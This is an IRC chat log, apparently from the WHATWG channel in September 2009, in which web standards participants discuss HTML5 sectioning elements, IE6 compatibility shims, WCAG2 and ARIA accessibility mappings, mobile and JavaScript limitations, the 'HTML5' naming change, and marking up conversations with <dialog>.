2009-09-01
[17:01:00.0000] <AryehGregor>
Apparently "w" doesn't, except in loanwords.  Wikipedia doesn't say for "ch".

[17:01:01.0000] <AryehGregor>
(I mean, in Norwegian.)

[17:02:00.0000] <AryehGregor>
The name is evidently Polish.  My analysis is vindicated!

[17:02:01.0000] <AryehGregor>
(I'm terrible at accents, though)

[17:02:02.0000] <TabAtkins>
Had I ever paid enough attention to remembeer maciej's last name, I'd have said polish or czech too.

[17:03:00.0000] <AryehGregor>
I didn't remember it, but I remembered that it looked Eastern European.

[17:03:01.0000] <AryehGregor>
I agree that the first name is less clear.

[17:03:02.0000] <TabAtkins>
I could easily imagine a norwegian named maciej.

[17:04:00.0000] <TabAtkins>
Though perhaps a norwegian couldn't.  ^_^

[17:05:00.0000] <AryehGregor>
The final J looks wrong to me for Norwegian.

[17:06:00.0000] <AryehGregor>
Also, do they use C?

[17:06:01.0000] <AryehGregor>
Apparently they don't use C.

[17:06:02.0000] <TabAtkins>
Maybe?

[17:06:03.0000] <TabAtkins>
Okay.

[17:15:00.0000] <takkaria>
'ch' exists in Swedish

[17:16:00.0000] <AryehGregor>
Not Norwegian, though, it seems?

[17:16:01.0000] <takkaria>
well, in Swedish, it only occurs in certain situations and even then it seems to vary by dialect just how you pronounce it

[17:17:00.0000] <takkaria>
Linköping, where I am ATM, gets pronounced variously as "lin-chur-ping", "link-shop-ping" or someting sort of between the two

[17:25:00.0000] <takkaria>
and yeah, Maciej's name is polish

[17:26:00.0000] <othermaciej>
/me loves all the theorizing about the hypothetically possible ethnic origins of my name

[17:30:00.0000] <annevk3>
http://www.rudibela.com/blog/web-design/feeter-movement is funny

[17:30:01.0000] <annevk3>
found in comments on Zeldman's blog

[17:31:00.0000] <othermaciej>
these posts from web design big-shots are interesting reading

[17:31:01.0000] <TabAtkins>
annevk3: heh, funny.

[17:32:00.0000] <annevk3>
oh wow, Raph (Dutch gov) found another way how we violate WCAG2: http://www.w3.org/TR/WCAG20/#ensure-compat-parses

[17:33:00.0000] <annevk3>
but that feels like a bug in WCAG2 to me, given that it undermines a perfectly valid HTML4 feature

[17:34:00.0000] <othermaciej>
wait, is the claim that HTML5 violates WCAG2 by allowing some open and close tags to be omitted like HTML4 did?

[17:34:01.0000] <annevk3>
http://www.zeldman.com/2009/08/31/loving-html5/#comment-47961

[17:34:02.0000] <annevk3>
it seems a perfectly reasonable claim to me

[17:34:03.0000] <annevk3>
though it also applies to HTML4 and it should be noted that WCAG doesn't deal with <img/> syntax

[17:36:00.0000] <othermaciej>
it doesn't seem to deal with <img> syntax either - it's nonconforming to give <img> an end tag in HTML syntax

[17:37:00.0000] <othermaciej>
I'm not sure allowing something that WCAG disallows, is automatically a WCAG conflict, in the same way as disallowing something that WCAG requires

[17:38:00.0000] <othermaciej>
but I also think this WCAG requirement is questionable, because it doesn't seem to help accessibility or interop at all

[17:40:00.0000] <alkarin>
regarding to the sample company web page presented at whatwg.org, where you see a footer defined within the FOOTER, I see more navigation links - akin, the NAV group.

[17:41:00.0000] <TabAtkins>
alkarin: where is this presented?

[17:41:01.0000] <alkarin>
I still have doubts over this issue if sophisticating the standards would help, say, web usage of the disabled people ..

[17:41:02.0000] <annevk3>
othermaciej, it seems to me this is just a bug (and also WCAG overstepping its scope)

[17:42:00.0000] <TabAtkins>
alkarin: While that's not necessarily a <nav> (it may not be primary navigation), it certainly *could* be.  I agree that the current <footer> definition is confusing when it disallows that.

[17:45:00.0000] <alkarin>
where we, ourselves are quite disabled, 1. inside the tag junk, 2. inside the market, among the other individuals who are reckless and disregarding any type of rules that are imposed or proposed on them - while BROWSERS tolerating their disregard and award their so-called SEO efforts!

[17:46:00.0000] <alkarin>
Besides, in my humble opinion, a standization should not include, even in its draft stage at a demo. page, a de-standardized recognition of BROWSER names :*( 

[17:47:00.0000] <othermaciej>
annevk3: I agree it's a bug in WCAG, if that's what you mean

[17:47:01.0000] <alkarin>
I believe *strictly* sticking to the standards and still smiling and being nice at the others is not a good thing

[17:47:02.0000] <TabAtkins>
alkarin: I don't understand what you mean?  The conditional comment at the top of the page to trigger the ie-shim?

[17:48:00.0000] <othermaciej>
annevk3: I don't think it's a conflict, because it's ok for WCAG to require things that HTML merely allows

[17:48:01.0000] <othermaciej>
annevk3: if all WCAG requirements had to be HTML requirements then WCAG would be redundant

[17:49:00.0000] <TabAtkins>
alkarin: We live in the real world, unfortunately, not the magic world where everything works perfectly everywhere.  IE requires a quick js shim to recognize the new elements correctly.  We could run that unconditionally, but that would just be wasteful.

[17:49:01.0000] <alkarin>
if we are to impose a force, or show the path to, again let's say, Microsoft, then there must be somebody who is controlling its implementations

[17:50:00.0000] <TabAtkins>
It's not some sort of pandering to bad browsers - it's hacking around the fact that old IEs predated HTML5, and so didn't have the ability to support them.  Firefox 2 had similar problems, but they weren't really fixable.

[17:50:01.0000] <alkarin>
notice TabAtkins I partially agree with you - but we "all" are in real world so one must hang a notice on the wall about how to sit how stand and how to talk .. you got what I mean?

[17:52:00.0000] <TabAtkins>
Yes, that's the standard.  That doesn't mean you ignore old browsers when they can be easily hacked into working.  Again, IE6 and IE7 aren't *willfully* violating the spec - they were created before HTML5 ever existed, and so never knew that the new elements were going to be around.

[17:52:01.0000] <alkarin>
and that "notice" is the standards, etiquette, rules, code of behaviours and "mark-up" coding

[17:53:00.0000] <alkarin>
dear tabatkins .. before Microsoft decided to involve in browsers, I was building web pages - reading the latest HTML specifications ... then the browser wars begun, around 2000, we were in dark ages

[17:53:01.0000] <TabAtkins>
And what does that have to do with IE6's lack of support for <section>?

[17:54:00.0000] <alkarin>
IE6 is under Microsoft's responsibility - at least - it should be

[17:54:01.0000] <alkarin>
I should learn to ignore it, If I want to continue

[17:55:00.0000] <AryehGregor>
The browser wars started well before 2000.

[17:55:01.0000] <alkarin>
people changing their mobile devices once in every two years - remember what was the name of the operating system you once had in your old old nokia

[17:56:00.0000] <alkarin>
nope .. you threw it away, you bought a new one.

[17:56:01.0000] <jcranmer>
my PDA was a iPaq, so it had Windows Mobile 5

[17:56:02.0000] <TabAtkins>
alkarin: Still not sure what that has to do with IE6 not supporting <section>.  I can't change the fact that people still use IE6.

[17:56:03.0000] <jcranmer>
before that, I was in position in a Palm Pilot

[17:56:04.0000] <jcranmer>
s/position in/possession of/

[17:57:00.0000] <AryehGregor>
I've never had a cell phone.  I did have a PDA, and it was a Palm, so it presumably ran Palm OS.

[17:57:01.0000] <jcranmer>
I want to say version 3?

[17:58:00.0000] <jcranmer>
maybe 4

[17:58:01.0000] <jcranmer>
ah yes, 4

[17:58:02.0000] <TabAtkins>
alkarin: Ignoring current browsers is part of why XHTML2 died.  You couldn't render an XHTML2 document properly in *any* browser.  That was actually intentional for some reason.

[17:59:00.0000] <alkarin>
Hey folks .. this is a good web page please look at it, about mobile web building - http://www.bbc.co.uk/mobile/web/versions.shtml

[17:59:01.0000] <jcranmer>
not quite sure what OS versions have to do with anything

[18:00:00.0000] <alkarin>
There you will see that, or some of you have already been practicing that you ought to imploy different standards <of not only mark-up> for various displaying-media

[18:01:00.0000] <alkarin>
which is, I believe, contradictory to what Tim Berner Lee had suggested at the first standardization < still looking for his link at TED.com, a recent speech of him about the future of world wide web >

[18:02:00.0000] <TabAtkins>
alkarin: That's not something we should do in general.  Legacy smartphones were limited in what they could download and display well.  It *did* make sense to create separate versions of pages for them, because they simply couldn't handle a full webpage.

[18:02:01.0000] <TabAtkins>
Modern smartphones can easily handle modern webpages, and they'll continue to be able to.  It no longer makes much sense to design for the mobile space.

[18:03:00.0000] <tantek>
mostly agreed TabAtkins

[18:03:01.0000] <tantek>
not necessarily "easily"

[18:03:02.0000] <AryehGregor>
TabAtkins, it makes a heck of a lot of sense to design for small screens.

[18:03:03.0000] <AryehGregor>
Which is more or less equivalent to mobile.

[18:03:04.0000] <TabAtkins>
tantek, point granted.  It will get easier, though.

[18:03:05.0000] <tantek>
numerous / many / (most?) "modern" webpages include huge amounts of AJAXy script that fails on mobile

[18:03:06.0000] <tantek>
for lots of reasons

[18:03:07.0000] <tantek>
including failure to separate the device dependent aspects

[18:04:00.0000] <tantek>
assuming a pointer, click, hover etc.

[18:04:01.0000] <tantek>
and coincidentally, all those assumptions break accessibility as well

[18:04:02.0000] <tantek>
including the "javascript is always there" assumption

[18:04:03.0000] <tantek>
which also breaks search engines

[18:04:04.0000] <TabAtkins>
alkarin: A phone is *very rarely* used for 8 years.  8-year old browsers *are* still used.  You can try to draw a parallel, but I can just point to the real world and prove you wrong.

[18:04:05.0000] <tantek>
*well designed* modern webpages work just fine on modern smartphones

[18:05:00.0000] <alkarin>
javascript breaking SE? I wonder how

[18:05:01.0000] <TabAtkins>
tantek: point

[18:05:02.0000] <tantek>
alkarin - javascript included content is invisible / not seen by search engines

[18:05:03.0000] <tantek>
e.g. every Disqus comment on numerous blogs

[18:05:04.0000] <TabAtkins>
tantek: not necessarily.  I think google might run js at least somewhat now?  I'm not sure.  At least they *plan* to.

[18:06:00.0000] <tantek>
(nevermind whether such comments are worth indexing, that's a separate matter ;) )

[18:06:01.0000] <tantek>
TabAtkins - and Technorati ran some limited javascript "inspection" (would not say "run" or "execution") for blogroll links etc.

[18:06:02.0000] <tantek>
but in general, it's a good assumption that any content created/produced by javascript is invisible to search engines

[18:06:03.0000] <alkarin>
The term Javascript can be a propriatery but it is one of dealing with the document objects model - so this is not a shame, this is not out of HTML which is also a part of the same DOM

[18:07:00.0000] <alkarin>
one 'way' of dealing with .. sorry

[18:07:01.0000] <tantek>
any feature that depends on javascript likely breaks in search engines, at least some smartphones, and accessibility

[18:08:00.0000] <alkarin>
do the cellphones not implement a dom tree? then CSS would have been impossible to render

[18:08:01.0000] <TabAtkins>
tantek: to be fair, that's partially an observation born out of limited memory/complexity of such devices.  It's gradually making more and more sense to handle js in those sorts of things.

[18:08:02.0000] <tantek>
or I should say, *likely* breaks accessibility. it *is* possible to author accessible javascript, but it is rare that you find web developers that know how

[18:08:03.0000] <tantek>
TabAtkins - not just limited mem/cpu - but also input modes

[18:09:00.0000] <tantek>
can't assume hover/active states etc.

[18:09:01.0000] <TabAtkins>
True, input modes are an issue.

[18:09:02.0000] <tantek>
this is not a problem that moore's law will solve

[18:09:03.0000] <TabAtkins>
Would likely be best to create a set of input-agnostic events that we can hook into reliably.

[18:09:04.0000] <tantek>
make your content declarative in your HTML, or expect that your content will be broken in many user agents

[18:10:00.0000] <tantek>
browsers, devices etc.

[18:10:01.0000] <tantek>
just because you implement a DOM tree does not mean you implement a script *execution* environment

[18:10:02.0000] <tantek>
or the same "level" of environment

[18:11:00.0000] <AryehGregor>
Aren't the events deliberately defined vaguely so that unconventional input devices could be used?

[18:11:01.0000] <tantek>
you can implement a DOM tree without any execution

[18:11:02.0000] <alkarin>
/me concurs.

[18:11:03.0000] <AryehGregor>
That is, a screen reader could define some non-mouse-related way to "click" on something.

[18:11:04.0000] <TabAtkins>
Aryeh: presumably yeah, but we still end up having to listen for, say, both a click and a keypress.

[18:12:00.0000] <alkarin>
a screen reader will possibly look for skipping the part where I defined as FOOTER, however, in my own understanding of elements, I might have declared them inside ..err.. header ... side bar .. virtually anywhere

[18:13:00.0000] <TabAtkins>
alkarin: does that cause a problem?

[18:14:00.0000] <alkarin>
so at a blah-blah old cell-phone my navbar inside header would be practically at the footer and sidebar was set to display:none .. and so on.

[18:16:00.0000] <alkarin>
yes tabatkins, it causes a problem, a problem of WHO are within this environment of standards.. is that only us? like the real merchants paying taxes but on the streets, you can go by selling your stuff w/out pay

[18:16:01.0000] <alkarin>
if you are not to touch your lovely IE6's

[18:16:02.0000] <TabAtkins>
alkarin: I have no idea what that has to do with the placement of <footer>

[18:16:03.0000] <TabAtkins>
Unrelated: Holy crap, guys, this is awesome - http://www.longestpoemintheworld.com/

[18:17:00.0000] <alkarin>
If someone is imaginative enough to create a FOOTER then why some others are set to back this project? Look at what the people still using out there ..

[18:17:01.0000] <AryehGregor>
TabAtkins, I expected something like "It's the Song that Never Ends" repeated infinitely as you scroll down, using JS, but that's way more amusing.

[18:18:00.0000] <TabAtkins>
alkarin: I still don't know what you're talking about.  How is IE6 setting this back?

[18:20:00.0000] <TabAtkins>
AryehGregor: I'm having fun reciting it out loud.  ^_^

[18:21:00.0000] <AryehGregor>
It even makes sure the line lengths match up.

[18:21:01.0000] <AryehGregor>
Some of the lines don't really scan, but I suppose that's unavoidable.

[18:21:02.0000] <TabAtkins>
Yeah, it counts syllables.  Awesome.  ^_^

[18:21:03.0000] <TabAtkins>
Yeah, but surprisingly few.

[18:22:00.0000] <alkarin>
Using microformats and help it spreading is a great idea since it has its own promotions / rewards within it. An efficient and less-resource spending way of data sharing which had been targetted with world wide web.

[18:23:00.0000] <alkarin>
But as to designing with a revised standards, while still Google do not disqualify any violations and regard the pages with link-forges, and Microsoft or others don't stop saying "but we have another idea" sort of things ... I dont call it a standard at all since this way was NOT targetted with world wide web

[18:23:01.0000] <alkarin>
in its beginning

[18:24:00.0000] <alkarin>
you can't wear on a yellow jacket at the military just b/c that's your most lovely suit.

[18:25:00.0000] <alkarin>
but 400 years ago, it was possible.

[18:26:00.0000] <alkarin>
Now we have rules - then somebody has to be kind enough to back these efforts on solid grounds, and disqualify any kind of violations to it.

[18:26:01.0000] <AryehGregor>
I'm not really following you.  The WHATWG can't force anyone to follow its standards, and making standards no one will follow is pointless.

[18:27:00.0000] <alkarin>
then what good are you, what good in saying this is a standard in the first place?

[18:27:01.0000] <AryehGregor>
So that implementers can make sure they all implement the same thing, which they all want to implement.

[18:27:02.0000] <alkarin>
and yes, I didn't say this should be part of the responsibility of a single work group

[18:27:03.0000] <AryehGregor>
Rather than implementing the same thing in incompatible ways.

[18:28:00.0000] <AryehGregor>
Unless you're going to have it mandated by law that everyone has to listen to the W3C, there's no point in talking about forcing anyone to do anything.

[18:28:01.0000] <alkarin>
Right - and following that idea, Microsoft implements its own version of HTML rendering while others did theirs

[18:28:02.0000] <AryehGregor>
Yes, that's part of what HTML 5 is meant to put an end to.

[18:29:00.0000] <AryehGregor>
Make a single, detailed, consistent, featureful version of HTML that everyone is happy to implement.

[18:29:01.0000] <AryehGregor>
If any major vendor flat-out refuses to implement a feature, it's removed from the spec.  That's the policy.

[18:29:02.0000] <alkarin>
then we should be ready to wave a bye-bye and smile at incopatible applications

[18:29:03.0000] <AryehGregor>
I'm not sure what you mean.

[18:30:00.0000] <alkarin>
I don't want to put those <!--- if MSIE --> exceptions

[18:30:01.0000] <alkarin>
http://www.whatwg.org/demos/company-home/

[18:31:00.0000] <alkarin>
if they see ugly - I should be less worried by my lack of efficient presentation - I must be " compansated "

[18:31:01.0000] <AryehGregor>
Then don't put them there.

[18:31:02.0000] <AryehGregor>
Feel free.

[18:31:03.0000] <AryehGregor>
Of course, then IE will break, but that's your call, if it's your website.

[18:40:00.0000] <tantek>
/me catches up after being disconnected

[18:42:00.0000] <tantek>
AryehGregor -  re: "Aren't the events deliberately defined vaguely so that unconventional input devices could be used?" - only *if* authors understand the deliberate vagueness/abstraction and code accordingly. more often they assume the device capabilities of their laptop

[18:42:01.0000] <tantek>
or maybe their iPhone if you're lucky :)

[18:43:00.0000] <AryehGregor>
What's an example of how this would fail in real life?

[18:49:00.0000] <tantek>
depends on the vague/abstract events

[18:49:01.0000] <alkarin>
/me asks to tantek: in 10 years of time what expectations do you have in your minds, from an obtimist's point of view

[18:50:00.0000] <alkarin>
regarding to the mark-up standards and data sharing, microformats..

[18:52:00.0000] <alkarin>
:me is AFK - eating time before fasting

[19:02:00.0000] <tantek>
AryehGregor - nearly any site that uses AJAX to handle clicks to show more content etc.

[19:02:01.0000] <AryehGregor>
I mean, what specific problems are caused in practice?  Don't all devices allow the user to trigger click events somehow?

[19:03:00.0000] <AryehGregor>
And if not, shouldn't they?

[19:04:00.0000] <tantek>
sometimes such sites are coded to handle clicks only when in the "hover" state

[19:04:01.0000] <tantek>
because of course a hover precedes a click right? ;)

[19:05:00.0000] <tantek>
oh and note - not all devices have an arbitrary "click" at this x-y location

[19:05:01.0000] <tantek>
e.g WebTV

[19:05:02.0000] <tantek>
e.g. BlackBerry

[19:05:03.0000] <tantek>
so yes, this breaks in multiple ways for different devices

[19:08:00.0000] <alkarin>
thanks for the answer - by the way, why are we not talking about HTML itself, AJAX is just an insertion of external HTML segment.. 

[19:09:00.0000] <alkarin>
the breaking of web pages are related with how they are implementing things inside their httpd headers - this isn't an HTML matter

[19:09:01.0000] <alkarin>
and neither a javascript matter 

[19:10:00.0000] <alkarin>
even a flash interface imploying the same principals will again break the page integrity

[19:13:00.0000] <AryehGregor>
He was answering me, I think, not you.

[19:13:01.0000] <alkarin>
moreover, the device users won't upgrade their software - they renew their entire platforms - so they'll stay updated even web-wise. But how about IE5 users at an old Apple Mac

[19:15:00.0000] <alkarin>
HTML5  or 6 will be no more than a common practice among the "scholars" unless there is a flow created inside the market < browser industry, search engines, blog softwares, editors etc >

[19:16:00.0000] <alkarin>
since you can always live by with your good old tables - feel free to abuse resources, just who cares

[19:17:00.0000] <alkarin>
in my country, people are making " CSS LOOKING web pages " .. or " contemporary " so they say .. according to them, this kind of design is just a " fashion "

[19:19:00.0000] <alkarin>
and no customers are even bothering themselves of learning what they were..  is this the standards we have been fighting for .. nearly 20 years?

[19:20:00.0000] <alkarin>
We need usability guidilines, serious support on official grounds so the obsolote and resource wasting world wide web sources would be " disqualified " in one way or another

[19:22:00.0000] <alkarin>
We are defining a new band for Television signals, and once this is implemented by stations, no incompatible receivers will be able to catch it

[19:34:00.0000] <MikeSmith>
tantek: ping

[19:36:00.0000] <tantek>
MikeSmith: http://tantek.pbworks.com/CommunicationProtocols#Dontpresencequery

[02:27:00.0000] <jgraham>
I really don't understand the whole "html5 super friends" thing. Is it so hard to give feedback without having to make up an exclusive club with a silly name? I /know/ it is supposed to be funny and I /know/ a bunch of the people involved are nice, sincere, people but it rubs me up the wrong way something chronic

[02:30:00.0000] <othermaciej>
it does not bother me

[02:31:00.0000] <jgraham>
You have to say that you're the chair ;)

[02:31:01.0000] <othermaciej>
some smart and widely respected people in the world of Web design gave their general endorsement to HTML5, and some useful specific feedback

[02:31:02.0000] <jgraham>
I agree the _feedback_ is useful

[02:31:03.0000] <othermaciej>
some of those same people were kind of hostile to the HTML5 effort before that

[02:32:00.0000] <othermaciej>
so if getting together in person and making up a silly name for their club helped them do that, then more power to them

[02:32:01.0000] <jgraham>
It's the way it is _presented_ that bothers me

[02:33:00.0000] <jgraham>
If they had just got together and said "a few of us had an informal meeting and here is some feedback" it would have been wonderful

[02:33:01.0000] <hsivonen>
jgraham: In general, the open letter format bothers me, but I'm not going to complain about that in this case. Instead, I'm going to take it as positive feedback.

[02:34:00.0000] <othermaciej>
collective open letters can be an unhealthy communication pattern sometimes, but not in this case afaict

[02:34:01.0000] <erlehmann>
damn super friends ! they hate mah <dialog> …

[02:35:00.0000] <othermaciej>
I also appreciate their general statement of support

[02:35:01.0000] <jgraham>
I should stress again that it is only the self-aggrandisment inherent in the presentation that bothers me, not the content

[02:36:00.0000] <othermaciej>
the people involved clearly think they are important in the world of Web design

[02:37:00.0000] <othermaciej>
since so many people read their blogs and books, and pay to hear them speak, they are right about being important in a sense

[02:39:00.0000] <othermaciej>
I do prefer people who come off more humble, but I have to admit to occasional self-importance myself

[02:39:01.0000] <Dashiva>
I wonder how many subscribers public-html would have if it was open for subscribers

[02:39:02.0000] <othermaciej>
for example, I have great respect for people who have done a lot of the grunt work that went into HTML5 without seeking a lot of name recognition

[02:41:00.0000] <othermaciej>
Dashiva: it's nearly open with just a few hoops to jump through

[02:43:00.0000] <Dashiva>
I imagine there are people who just want to read. Even if the hoops are easy, maybe you don't consider yourself worthy.

[02:44:00.0000] <othermaciej>
it would surely have more subscribers if there were fewer hoops

[02:50:00.0000] <annevk2>
I thought it was funny

[03:07:00.0000] <annevk2>
hmm, a couple of detailed questions did more good to ARIA than LC review

[03:08:00.0000] <othermaciej>
is ARIA being updated?

[03:08:01.0000] <annevk2>
http://lists.w3.org/Archives/Public/public-html/2009Aug/1472.html suggests it is

[03:09:00.0000] <annevk2>
probably another LC round too then

[03:12:00.0000] <othermaciej>
yeah I saw that email

[03:13:00.0000] <othermaciej>
it makes me happy that the PFWG folks were willing to move on host language semantics (even if it took a long time and then discussion in a telecon)

[03:13:01.0000] <othermaciej>
and I'm happy that Hixie put a first cut of ARIA integration in the spec, even though he didn't think he had quite all the data he needed

[03:13:02.0000] <Hixie>
i didn't

[03:13:03.0000] <Hixie>
see the list of questions i sent out

[03:13:04.0000] <Hixie>
i still don't

[03:13:05.0000] <othermaciej>
I know you didn't

[03:13:06.0000] <Hixie>
as it stands we might have to take it out, in fact

[03:14:00.0000] <Hixie>
due to lack of completeness

[03:14:01.0000] <othermaciej>
but now we have that list of questions and before we didn't

[03:14:02.0000] <Hixie>
yes we did

[03:14:03.0000] <Hixie>
it's basically the same questions they've been asked many times before

[03:14:04.0000] <Hixie>
hsivonen wrote similar questions literally years ago

[03:15:00.0000] <othermaciej>
if he already asked every single question you did, then I'll eat some crow

[03:15:01.0000] <annevk2>
be careful there :)

[03:15:02.0000] <othermaciej>
even so, it's good that this time they are actually paying attention

[03:16:00.0000] <othermaciej>
I think some of your questions have the premise that every element with native semantics needs to map to an existing ARIA role

[03:16:01.0000] <annevk2>
integrating it definitely helps in moving forward I think

[03:16:02.0000] <annevk2>
not everyone had an idea of how it would look like I suppose

[03:16:03.0000] <othermaciej>
that doesn't seem right to me

[03:17:00.0000] <othermaciej>
role="fileinput" would be useless on a random element, so <input type="file"> should just have its own unique accessibility behavior that doesn't map to an ARIA role

[03:17:01.0000] <Hixie>
paying attention?

[03:17:02.0000] <Hixie>
i've received not even an acknowledgement of my questions

[03:18:00.0000] <Hixie>
i actually don't think it makes sense to have default roles

[03:18:01.0000] <Hixie>
but that's what they said we should do

[03:20:00.0000] <othermaciej>
I think it is useful to give the correspondence in cases where an element's accessibility presentation should be basically the same as an ARIA role

[03:21:00.0000] <othermaciej>
but it would be good to explicitly make room for elements that don't match any existing ARIA role, but nonetheless don't make sense to assign to a different role

[03:23:00.0000] <Hixie>
well i'll basically just do whatever they suggest, assuming they ever get around to suggesting something

[03:24:00.0000] <annevk2>
I actually thought the plan would be that someone defined an abstract accessibility API that we'd map elements against

[03:24:01.0000] <othermaciej>
they like to discuss things a lot

[03:24:02.0000] <annevk2>
And that the ARIA implementation requirements would also map against that abstract API

[03:24:03.0000] <othermaciej>
annevk2: that seems like it would be hard

[03:24:04.0000] <annevk2>
And the document defining the abstract API defines how it maps against the various accessibility APIs around

[03:25:00.0000] <Hixie>
annevk2: that would be much better, but frankly i don't know that we need to define the mapping explicitly at all.

[03:25:01.0000] <annevk2>
Hixie, not surprisingly there's issues for interop here too

[03:27:00.0000] <othermaciej>
I'm not sure a strict mapping to accessibility APIs makes sense, because it would make it impossible to put any novel and clever heuristics on the UA side instead of the AT side

[03:27:01.0000] <Hixie>
exactly

[03:27:02.0000] <othermaciej>
with WebKit+VoiceOver, a lot of the smarts are on the UA side

[03:27:03.0000] <Hixie>
it's UI

[03:27:04.0000] <Hixie>
that's why i was surprised to hear they wanted us to define a mapping

[03:27:05.0000] <Hixie>
but i'm no accessibility expert

[03:28:00.0000] <othermaciej>
and for people using screen readers or the like, innovation in presenting content well is more important than getting substantially the same experience in different products

[03:28:01.0000] <othermaciej>
because so much of the content wasn't properly designed, and certainly wasn't properly tested for that kind of use

[03:32:00.0000] <annevk2>
hmm, certainly an interesting perspective

[03:47:00.0000] <hsivonen>
Hixie: In my thinking, "strong native semantic" didn't imply that the native semantic has to match an ARIA role

[03:48:00.0000] <Hixie>
i was basing what i wrote on what the wg said

[03:48:01.0000] <Hixie>
or rather

[03:48:02.0000] <Hixie>
on what i was told the wg would say

[03:48:03.0000] <Hixie>
since apparently we're not allowed to actually see what the wg will say until they're ready to say it all at once

[03:54:00.0000] <annevk2>
there must be Member-only records

[03:55:00.0000] <annevk2>
but then those cannot be shared so maybe that does not help much

[03:59:00.0000] <Hixie>
http://damowmow.com/playground/microdata/001/ is some of the material i'm putting together for the usability study

[04:02:00.0000] <Philip`>
Why does Gmail always say "Warning: This message may not be from whom it claims to be. Beware of following any links in it or of providing the sender with any personal information." when people post to the WHATWG list from @google.com addresses?

[04:05:00.0000] <hsivonen>
Philip`: maybe Google has had issues with fraudsters impersonating Google staff and they can't themselves distinguish staff from fraustrers algorithmically when the message has done a trip through a list server

[04:10:00.0000] <annevk2>
Hixie, the study is an attempt at finding out what authors find the most convenient syntax?

[04:10:01.0000] <Hixie>
yeah

[04:11:00.0000] <Philip`>
hsivonen: If that was a problem, automatically sending all mail from Google staff into the spam folder (unless the user has a filter set up to explicitly keep list messages out of spam) still doesn't seem like a good solution

[04:13:00.0000] <takkaria>
hmm, Apple has added closures to C

[04:18:00.0000] <Philip`>
/me wonders how many people writing C don't care about portability (and about non-standard extensions)

[04:19:00.0000] <annevk2>
/me wonders when people will complain about the spec name change

[04:22:00.0000] <takkaria>
annevk2: which spec?

[04:24:00.0000] <annevk2>
HTML5?

[04:26:00.0000] <adactio>
annevk2: I welcome the clarification.

[04:26:01.0000] <takkaria>
/me did not realise HTML5 had changed name recently

[04:26:02.0000] <annevk2>
apparently it's obscure enough :)

[04:27:00.0000] <hsivonen>
annevk2: ooh. even the W3C copy changed. Daring.

[04:27:01.0000] <hsivonen>
has the wikitruth been updated accordingly?

[04:27:02.0000] <annevk2>
no, that reminded me actually

[04:30:00.0000] <annevk2>
adactio, I'll give you hint: whitespace

[04:30:01.0000] <adactio>
annevk2: I don't need a hint. I was saying "I welcome the clarification" of having one way of referring to the spec (HTML5) instead of two (HTML5 and HTML 5).

[04:31:00.0000] <annevk2>
adactio, sorry

[04:32:00.0000] <annevk2>
in retrospect I'm not sure how I did not get that

[04:34:00.0000] <beowulf>
what was wrong with html 5?

[04:37:00.0000] <hsivonen>
beowulf: "html" and "5" tokenize separately on Google

[04:39:00.0000] <karlcow>
html5 decision made for SEO… sirenes de la renommée

[04:39:01.0000] <Philip`>
beowulf: The problem was the possibility of believing there was a difference between "HTML5" and "HTML 5"

[04:39:02.0000] <Philip`>
and the confusion caused by that

[04:40:00.0000] <beowulf>
hsivonen: does that have practical implications?

[04:41:00.0000] <annevk2>
hsivonen, I think consistency was the reason

[04:41:01.0000] <Philip`>
See http://www.zeldman.com/2009/08/31/loving-html5/

[04:41:02.0000] <beowulf>
Philip`: ah, cool

[04:42:00.0000] <hsivonen>
beowulf: "html5" gives more useful results on Google

[04:42:01.0000] <karlcow>
http://www.zeldman.com/superfriends/  mwaarf :) at least a lot of humour :) cool

[04:43:00.0000] <karlcow>
http://www.zeldman.com/superfriends/guide/

[04:45:00.0000] <karlcow>
/me loves it: <cite>@t</cite> <q>Plato used shadows of sock puppets.</q>

[05:06:00.0000] <adactio>
annevk2: Fancy doing a search and replace on the "Differences from HTML 4" and "FAQ" documents to change HTML 5 to HTML5? ;-)

[05:08:00.0000] <annevk2>
I'll see what I can do

[05:11:00.0000] <beowulf>
i think dialog is a fine element, but it should use <ul> or <ol>

[05:16:00.0000] <erlehmann>
beowulf, i am using dialog for markup, and the term:definition thingy comes handy

[05:16:01.0000] <erlehmann>
guess what happens when several people say the same thing ?

[05:16:02.0000] <erlehmann>
can't do that with simple lists

[05:17:00.0000] <beowulf>
erlehmann: explain?

[05:18:00.0000] <beowulf>
erlehmann: how do you markup a new participant in the conversation? do you close out the dl?

[05:18:01.0000] <erlehmann>
<dt>Name</dt> ?

[05:19:00.0000] <beowulf>
erlehmann:  that doesn't tell me if Name just joined or was there from the start

[05:20:00.0000] <erlehmann>
beowulf, i believe stating who is actually there is outside of scope for <dialog>

[05:20:01.0000] <beowulf>
erlehmann: i think that makes it pretty useless...

[05:20:02.0000] <erlehmann>
beowulf, useless ? why that?

[05:20:03.0000] <annevk2>
the FAQ doesn't mention Web Workers at all

[05:20:04.0000] <erlehmann>
i am actually using <dialog>

[05:21:00.0000] <erlehmann>
beowulf, one of the good things is that rendering in legacy browsers works nice with <dl>s

[05:21:01.0000] <beowulf>
erlehmann: most common chat log form indicate joins and parts in the log

[05:22:00.0000] <erlehmann>
besides, html 4.01 states: Another application of DL, for example, is for marking up dialogues, with each DT naming a speaker, and each DD containing his or her words.

[05:22:01.0000] <beowulf>
and dl styling isn't the most enjoyable thing in the world, but perhaps that's not an issu

[05:22:02.0000] <erlehmann>
its not an issue, i got it covered. its comparable in difficulty to form styling

[05:22:03.0000] <beowulf>
erlehmann: this is html5 though, isn't it?

[05:23:00.0000] <erlehmann>
beowulf, i want to say there is a precedent set for using DT and DD.

[05:23:01.0000] <erlehmann>
beowulf, read http://blog.dieweltistgarnichtso.net/interview-moot-of-4chan-part-1

[05:24:00.0000] <erlehmann>
beowulf, then tell me what exactly you would change in the markup.

[05:25:00.0000] <hsivonen>
erlehmann: does that format work nicely in the small screen mode in Opera?

[05:25:01.0000] <beowulf>
erlehmann: that's a pretty straighforward dialog, no-one dropped out, no-one joined late, no net-split, etc

[05:25:02.0000] <annevk2>
someone interested in fixing the FAQ for Web Workers?

[05:25:03.0000] <annevk2>
/me just fixed the naming issue plus some editorial cleanup

[05:25:04.0000] <erlehmann>
hsivonen, the sidebar is a bit messed up on small resolutions, but opera mobile should render it just fine

[05:26:00.0000] <erlehmann>
/me is testing on his android

[05:26:01.0000] <beowulf>
erlehmann: also, dt's don't render well on low end devices such as mobiles

[05:26:02.0000] <beowulf>
*dl's

[05:26:03.0000] <erlehmann>
beowulf, is that so. provide proof.

[05:27:00.0000] <beowulf>
erlehmann: how much proof do you want? i can screen grab a few of the usual suspects ...

[05:27:01.0000] <erlehmann>
do it. webkit mobile is fine btw

[05:28:00.0000] <beowulf>
/me hasn't done this in a while...

